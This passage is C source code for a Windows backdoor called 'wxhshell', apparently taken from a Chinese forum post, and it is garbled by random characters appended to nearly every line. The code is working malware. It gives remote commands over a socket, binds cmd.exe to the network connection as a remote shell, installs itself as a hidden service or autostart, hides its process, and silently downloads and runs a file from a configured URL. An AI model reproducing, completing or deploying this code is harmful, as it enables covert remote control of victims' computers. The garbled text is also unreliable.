  if(DownloadFile(cmd,wsh)) \"t`W:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^h`!f vyH  
  else y6\ [1nZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LK{a9` h  
  } K/~Y!?:J r  
  else { C_C$5[~-:  
O4n8MM|`  
    switch(cmd[0]) { ]2P/G5C3tU  
  \ x:_*`fU  
  // 帮助 "AV1..mu  
  case '?': { a~6ztEhGm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <e[!3,%L  
    break; 3JTU^-S<  
  } 9W$m D w6f  
  // 安装 E $<;@  
  case 'i': { ??q!jm-m  
    if(Install()) FDl,Ey^r/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A7.JFf>  
    else rpx 0|{m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =[APMig,n  
    break; 'aNahzb  
    } ]S*E  
  // 卸载 "i}Z(_7yr  
  case 'r': { t ]71  
    if(Uninstall()) [9w, WJL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jt/l,=9YK  
    else #DrZ`Aq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WT I'O  
    break; .HQVj'g  
    } 38<~R  
  // 显示 wxhshell 所在路径 m)(SG  
  case 'p': { K90D1sD  
    char svExeFile[MAX_PATH]; /E; ;j9  
    strcpy(svExeFile,"\n\r"); :jl u  
      strcat(svExeFile,ExeFile); :~-)Sm+^  
        send(wsh,svExeFile,strlen(svExeFile),0); VyRW'  
    break; dE+CIjW5  
    } 9UB??049z  
  // 重启 -,[~~  
  case 'b': { _!| =AIX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <XU8a:w'T  
    if(Boot(REBOOT)) h5<T.vV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c9 gz!NE  
    else { W<Bxm|  
    closesocket(wsh); 0c%@e2(N  
    ExitThread(0); aB/{ %%o  
    } WNCM|VUl  
    break; 3we.*\2$  
    } ;b{pzIe=F  
  // 关机 k];L!Fj1  
  case 'd': { e?_c[`sg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .ruqRGe/  
    if(Boot(SHUTDOWN)) cC7"J\+r*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #rqyy0k0'h  
    else { S(@*3]!q  
    closesocket(wsh); _G_ &Me0  
    ExitThread(0); fQ2!sV  
    } GZxglU,3T  
    break; 2nG{>,#C:O  
    } Sn_z  
  // 获取shell wjN`EF5$}&  
  case 's': { ~ra#UG\Y8  
    CmdShell(wsh); 6RR4L^(m  
    closesocket(wsh); 4`?sE*P@`  
    ExitThread(0); 1\M"`L/  
    break; =d:R/Z%,  
  }  O6M}W_  
  // 退出 ~e,f)?  
  case 'x': { IwZZewb-a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qz-#LZFTR  
    CloseIt(wsh); azz#@f1  
    break; 5<'n  
    } 4SX3c:>  
  // 离开 MR^umLM88  
  case 'q': { KIXwx98  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o06A=4I  
    closesocket(wsh); 'vqj5YTj  
    WSACleanup(); KZ367&>b7  
    exit(1); I{i:B  
    break; D5o+ 0R  
        } 9q@ z[+X  
  } <k!mdj)  
  } 8=ukS_?Vy  
k)<~nc-  
  // 提示信息 b/a?\0^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6E)uu; 8  
} hY4)W  
  } 1t~S3Q||>]  
n.;5P {V1  
  return;  "@UU[o  
} (ffOu#RQ3  
9RCB$Ka6X  
// shell模块句柄 q?e16M  
int CmdShell(SOCKET sock) /j=DC9_  
{ , }xpYq_/  
STARTUPINFO si; f4 Sw,A  
ZeroMemory(&si,sizeof(si)); #`YxoY`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z=- 8iks|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [[.&,6  
PROCESS_INFORMATION ProcessInfo; 1@1+4P0NF[  
char cmdline[]="cmd"; U|y;b+n`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3:02`;3  
  return 0; b.w(x*a  
} '&_y*"/c  
Up1$xLSl  
// 自身启动模式 ,=q7}5o Y  
int StartFromService(void) 5 b#" G"  
{ mcP{-oJ0W  
typedef struct : . FfE  
{  \\E_W9.u  
  DWORD ExitStatus; 8CN7+V  
  DWORD PebBaseAddress; g 'd*TBnk  
  DWORD AffinityMask; +Y.uZJ6+  
  DWORD BasePriority; J*^,l`C/  
  ULONG UniqueProcessId; p;c_<>ws-Y  
  ULONG InheritedFromUniqueProcessId; Wq[=}qh~  
}   PROCESS_BASIC_INFORMATION; r(?'Yy  
W?4&lC^G  
PROCNTQSIP NtQueryInformationProcess; OyG_thX  
cx1WGbZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D x >1y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sJjl)Qs)T  
N('S2yfDR  
  HANDLE             hProcess; ba:mO$  
  PROCESS_BASIC_INFORMATION pbi; H( DVVHx  
hK9t}NE.O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J?qcRg`1E  
  if(NULL == hInst ) return 0; 5@r_<J<>  
yv#c =v|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J _[e9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R"\u b"]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C&d"#I  
B'lxlYV1  
  if (!NtQueryInformationProcess) return 0; .9[8H:Fe  
xTksF?u)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  t3yQ/  
  if(!hProcess) return 0; 8wH41v67F  
zDGg\cPj9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k_|v)\4B  
wr;|\<c  
  CloseHandle(hProcess); 8n."5,P  
Ep,0Z*j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5LhJ8$W  
if(hProcess==NULL) return 0; x" :Bw;~  
=J[[>H'<d  
HMODULE hMod; GqK&'c   
char procName[255]; G,mH!lSm,  
unsigned long cbNeeded; ;5JIY7t  
}TAGr 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )2^/?jK  
8ZDqqz^C0  
  CloseHandle(hProcess); 0u&?Zy9&  
6GrMcI@hS  
if(strstr(procName,"services")) return 1; // 以服务启动 }:c,S O!  
7&;jje[ <g  
  return 0; // 注册表启动 ;]#4p8lh+  
} ;o)`9<es!2  
A86lyBDQ*  
// 主模块 ZjI/zqBm  
int StartWxhshell(LPSTR lpCmdLine) f)s_e  
{ V~uA(3\U  
  SOCKET wsl; e2=,n6N]c  
BOOL val=TRUE; -R8!"~o  
  int port=0; =ZJ?xA8  
  struct sockaddr_in door; U~B}vt  
=Gg)GSL^  
  if(wscfg.ws_autoins) Install(); 2I(@aB+  
w]5f3CIm  
port=atoi(lpCmdLine); MF`k~)bDV  
>. nt'BQ  
if(port<=0) port=wscfg.ws_port; "<n"A7e  
/x8C70W^  
  WSADATA data; :]z-Rz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zHum&V8=H  
{;(g[H=q;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m 'H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z1@sEfk>  
  door.sin_family = AF_INET; JjTzq2'%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DRg ~HT  
  door.sin_port = htons(port); Tdmo'"m8z_  
,%b1 ]zZQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (.nJT"&  
closesocket(wsl); jv#" vQ9A]  
return 1; aXid;v,  
} &+w!'LSaD  
1r:fxZO\Vd  
  if(listen(wsl,2) == INVALID_SOCKET) { 7J!d3j2TR  
closesocket(wsl); g]#zWTw(   
return 1; 8wx#,Xa  
} Y*X6lo  
  Wxhshell(wsl); ht cO ~b  
  WSACleanup(); F]&J%i F[  
&#b>AAx$2Y  
return 0; <~8f0+"  
PG~m-W+  
} {arjW3~M:  
o-i.'L)X  
// 以NT服务方式启动 %?G.lej,x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s8I77._s  
{ YrcC"  
DWORD   status = 0; =z /mI y<  
  DWORD   specificError = 0xfffffff; c$SxDYG  
~x^+OXf!^g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T9;o.f S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E|A_|FS&%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4}YT@={g}  
  serviceStatus.dwWin32ExitCode     = 0; pS)X\Xyw  
  serviceStatus.dwServiceSpecificExitCode = 0; )mZy>45  
  serviceStatus.dwCheckPoint       = 0; 3z. >b  
  serviceStatus.dwWaitHint       = 0; l0bT_?LhK  
~)CU m[:oM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nn4Kt,KY  
  if (hServiceStatusHandle==0) return; !I+u/f?TO7  
,`2xfVa-  
status = GetLastError(); 1Y0oo jD  
  if (status!=NO_ERROR) ;8xn"G0}a  
{ `DY4d$!4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3&d+U)E  
    serviceStatus.dwCheckPoint       = 0; F^v{Jqc  
    serviceStatus.dwWaitHint       = 0; eOmxA<h  
    serviceStatus.dwWin32ExitCode     = status; ;8x^9Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; /(L1!BPP9m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o;-! ?uJ  
    return; 2{tJ'3  
  } ~#x!N=q  
RX|&cY>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (#Kvm  
  serviceStatus.dwCheckPoint       = 0; %_LHD|<  
  serviceStatus.dwWaitHint       = 0; ~,4Znuin  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =]k_Oq-1h  
} Rl!WH%;c[X  
zW&O>H  
// 处理NT服务事件,比如:启动、停止 lz5j~t5>Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x};g!FYfkB  
{ sOHAW*+  
switch(fdwControl) 6Kc7@oO~  
{ NOr*+N\  
case SERVICE_CONTROL_STOP: -Z& {$J  
  serviceStatus.dwWin32ExitCode = 0; +|w~j#j9`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mZ&Mj.0+~  
  serviceStatus.dwCheckPoint   = 0; _4#psxl[M  
  serviceStatus.dwWaitHint     = 0; 39m"}26*E  
  { Z#V\[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ng6p#F,3  
  } X)+sHcE~#  
  return; vPq\reKe  
case SERVICE_CONTROL_PAUSE: W@}5e-q)O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S|h  m  
  break; z4UQ:z@  
case SERVICE_CONTROL_CONTINUE: vu \Dx9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QlXF:Gx"=  
  break; ]b$,.t5  
case SERVICE_CONTROL_INTERROGATE: .B n2;nO  
  break; EqU[mqeF  
}; IY6S\Gn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P9!]<so  
} }Q(I&uz  
4f~ZY]|nM  
// 标准应用程序主函数 LBi>D`]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JKbB,  
{ *zht(~%  
%NoZf^ ?  
// 获取操作系统版本 wi >ta  
OsIsNt=GetOsVer(); ~ +$><qj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2|o$eq3t  
vw 2@}#\:  
  // 从命令行安装 6%y: hLT  
  if(strpbrk(lpCmdLine,"iI")) Install(); q &o=4  
@_nhA/rlc  
  // 下载执行文件 "Jd1&FsCwX  
if(wscfg.ws_downexe) { 2DQC)Pe+z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ![n`n(oN  
  WinExec(wscfg.ws_filenam,SW_HIDE); FaM~ 56Pa  
} :Djp\ e6!  
73`UTXvWU  
if(!OsIsNt) { RuuU}XQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 fX|,s2-FW  
HideProc(); 5ZxBmQ  
StartWxhshell(lpCmdLine); " <AljgF  
} e.H"!X!0#H  
else zvj >KF|y  
  if(StartFromService()) I@+<[n2  
  // 以服务方式启动 Ut=y`]F  
  StartServiceCtrlDispatcher(DispatchTable); )Me&xQTn  
else Br??Gdd  
  // 普通方式启动 !*-cf$  
  StartWxhshell(lpCmdLine); 1OL~)X3  
\ed(<e>  
return 0; :b-(@a7>  
}
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只看该作者 1 发表于: 2006-10-10
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